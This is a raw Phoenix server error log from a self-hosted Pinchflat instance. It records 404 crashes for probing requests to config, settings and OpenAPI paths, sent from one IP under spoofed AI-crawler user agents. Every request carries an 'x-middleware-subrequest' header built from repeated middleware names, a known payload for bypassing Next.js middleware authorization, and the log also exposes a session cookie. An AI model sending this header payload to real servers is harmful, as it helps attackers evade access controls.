"_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "DuckAssistBot/1.1 (https://duckduckgo.com/duckassistbot)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/api/v2/config", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61jRURt7I66kAAIID"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29818.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/v2/config", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34602}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "DuckAssistBot/1.1 (https://duckduckgo.com/duckassistbot)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /api/v2/config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29818.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/v2/config", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34602}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "DuckAssistBot/1.1 (https://duckduckgo.com/duckassistbot)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, ho (truncated) 16:49:09.695 [error] #PID<0.29821.0> running PinchflatWeb.Endpoint (connection #PID<0.29820.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /api/v1/config ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /api/v1/config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29820.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/v1/config", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34616}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Meta-ExternalAgent/1.0; +https://developers.facebook.com/docs/sharing/webmasters/crawler)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29821.0>, params: %{}, path_info: ["api", "v1", "config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (compatible; Meta-ExternalAgent/1.0; +https://developers.facebook.com/docs/sharing/webmasters/crawler)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/api/v1/config", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61jRfOd84qh4ABweh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29820.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/v1/config", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34616}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Meta-ExternalAgent/1.0; +https://developers.facebook.com/docs/sharing/webmasters/crawler)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /api/v1/config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29820.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/v1/config", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34616}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Meta-ExternalAgent/1.0; +https://developers.facebook.com/docs/sharing/webmasters/crawler)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", (truncated) 16:49:09.727 [info] GET /runtime-config.js 16:49:09.728 [debug] QUERY OK source="settings" db=0.0ms idle=41.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:09.728 [debug] QUERY OK source="settings" db=0.0ms idle=33.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:09.728 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:09.728 [error] #PID<0.29823.0> running PinchflatWeb.Endpoint (connection #PID<0.29822.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /runtime-config.js ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /runtime-config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29822.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/runtime-config.js", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34630}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Hunyuan/1.0; +https://hunyuan.tencent.com/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29823.0>, params: %{}, path_info: ["runtime-config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (compatible; Hunyuan/1.0; +https://hunyuan.tencent.com/)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/runtime-config.js", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61jZP8wfDqIcABwfB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29822.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/runtime-config.js", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34630}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Hunyuan/1.0; +https://hunyuan.tencent.com/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /runtime-config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29822.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/runtime-config.js", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34630}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Hunyuan/1.0; +https://hunyuan.tencent.com/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", (truncated) 16:49:09.767 [info] GET /api/v2/settings 16:49:09.767 [debug] QUERY OK source="settings" db=0.0ms idle=72.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:09.767 [debug] QUERY OK source="settings" db=0.1ms idle=72.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:09.767 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:09.768 [error] #PID<0.29825.0> running PinchflatWeb.Endpoint (connection #PID<0.29824.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /api/v2/settings ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /api/v2/settings (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29824.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/v2/settings", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34632}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Qwenbot/1.0; +https://qwen.alibaba.com/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29825.0>, params: %{}, path_info: ["api", "v2", "settings"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (compatible; Qwenbot/1.0; +https://qwen.alibaba.com/)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/api/v2/settings", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61jiuJperPrkAAIIj"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29824.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/v2/settings", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34632}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Qwenbot/1.0; +https://qwen.alibaba.com/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /api/v2/settings (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29824.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/v2/settings", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34632}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Qwenbot/1.0; +https://qwen.alibaba.com/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", stream (truncated) 16:49:09.825 [info] GET /openapi.json 16:49:09.826 [debug] QUERY OK source="settings" db=0.0ms idle=130.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:09.826 [debug] QUERY OK source="settings" db=0.0ms idle=98.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:09.826 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:09.826 [error] #PID<0.29827.0> 